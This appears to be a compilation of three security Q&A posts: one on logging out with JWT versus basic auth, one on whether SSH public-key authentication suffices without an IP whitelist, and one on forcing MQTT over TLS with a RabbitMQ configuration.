Logging out a user who uses a JWT is simple, just delete it from their client (this doesn't invalidate the JWT on the server - that's hard to do, and usually you just rely on the JWT having a short lifetime and expiring soon - but it works fine for Alice getting up from the computer before Bob sits down to use it). It turns out that there's no standardized way to make a browser forget basic auth credentials. At least one browser (Internet Explorer) has a special API for this, but generally speaking, if you want to log out a client that uses basic auth, the only option is to tell the browser that their authorization is invalid (which generally makes the browser stop sending it). That's... messy. Obviously for non-browser clients this is not an issue.
Relatedly, logging in with basic auth isn't really under the control of the client application (implemented in HTML/CSS/JS). The web browser chooses what to show (usually a pretty ugly modal credentials prompt). Other forms of authentication / authorization token allow the web application to create their own login pages, which might include features like a "forgot password?" link or SSO login options, while a basic auth site just presents the user with a blank page (the content won't be loaded - or even requested - until the user signs in!) and an ugly pop-up modal box.


Is SSH public key authentication sufficient for protecting a server if IP Whitelisting is disabled? I'm currently working for a startup company who maintains a server on AWS. Currently, our server is set up so that in order to access it via SSH, you need to be on a white listed IP (set up in AWS) and have a valid RSA key to connect.

However, the current developer we are working with has a dynamic IP that changes from day to day, which makes maintaining the white list a time-consuming endeavor (different time zones, communication, etc.).

How much of a security risk is it in the short term to drop the white list while we work with this developer?

Note: The server currently doesn't contain any truly sensitive data (just some proprietary code), however in the near future it will.

How much of a security risk is it in the short term to drop the white list while we work with this developer?

Quite much none, if you and the other developers protect their keys (store encrypted files, have encrypted hard drives) and password authentication is disabled in the SSH server.

If you disable password authentication, the targeted attack using guessing public key (and private key) does not make sense, unless somebody leaks the private key (somebody computer is infected by some virus/malware or stolen with unencrypted key/hard drive).

Note, that you can set at least others developers keys to be accessible only from specific IP, by prepending from="pattern-list" in front of the public key in authorized_keys file. Since it can contain also patters, you can create a mask for your "dynamic" developer too.


MQTT over TLS using RabbitMQ We want to use RabbitMQ over TLS for our mqtt messaging, so we did some testing and managed to get it working over port 8883 using this configuration guide and we need to connect on a url that starts with the protocol identifier mqtts://.

Our config looks more or less like this:

[{rabbit,        [
                  {ssl_options, [{cacertfile, "/path/to/tls/ca/cacert.pem"},
                                 {certfile,   "/path/to/tls/server/cert.pem"},
                                 {keyfile,    "/path/to/tls/server/key.pem"},
                                 {verify,     verify_peer},
                                 {fail_if_no_peer_cert, true}]}
                 ]},
 {rabbitmq_mqtt, [
                  {ssl_listeners,    [8883]}
                  {tcp_listeners,    []}
                  ]}
].

We disabled tcp_listeners completely by passing an empty array (otherwise the default value will be an array like [1883] (with default port 1883) and then connecting insecure directly over tcp will still be possible (read also this answer on stackoverflow for more details).

Now I ran into the following document on mqtts (mqtt-s) claiming that mqtts does not mean mqtt secure, but that it actually stands for MQTT sensory networks:

  Some people had assumed that the S in MQTT-S stood for secure, so we hope this change will avoid that confusion.

Now I tried to read more on this topic, but the more I read the more confusing it gets. Some docs claim mqtt over tls should simply be done by only addressing another port and this will give "secure-mqtt":

  Port 8883 is standardized for a secured MQTT connection. The standardized name at IANA is “secure-mqtt” and port 8883 is exclusively reserved for MQTT over TLS.*

Other docs claim we can connect using using different protocols among which there is tls://:

  The URL can be on the following protocols: 'mqtt', 'mqtts', 'tcp', 'tls', 'ws', 'wss'. The URL can also be an object as returned by URL.parse(), in that case the two objects are merged, i.e. you can pass a single object with both the URL and the connect options.

My questions:

What is the preferred way of connecting a MQTT client to a broker if you want to force this client to use MQTT over TLS?
Is it true that mqtts:// does not mean secure MQTT (MQTT over SSL/TLS)? Or does it mean this only in case we use RabbitMQ as our MQTT broker? Or is this document above outdated and is mqtts a totally valid identifier to connect securely to the mqtt protocol (like http becomes https for the http protocol and ws becomes wss for the web sockets protocol).

We tried to connect to our RabbitMQ broker using mqtt:// on port 8883 but this definitely does not work.
It seems the only way to establish a secure connection to our broker seems to be by using the mqtts:// identifier.

Does this RabbitMQ setup guarantee us that clients can and will only connect over a secure (encrypted) connection?

UPDATE

Some testing shows that the MQTT service works also well when addressing port 8883 while using the tls:// identifier in our requests.

You can also use ssl:// as the identifier in your connection request but you need to set protocol as TLS[specific versions if you are intended to block few, TLSV1, TLSV1_1, TLSV1_2 etc].

We used java clients which worked for us. If you are using GUI clients like MQTTBox, they use mqtts:// for TLS. I dont know if it works as you already aware what mqtts is!!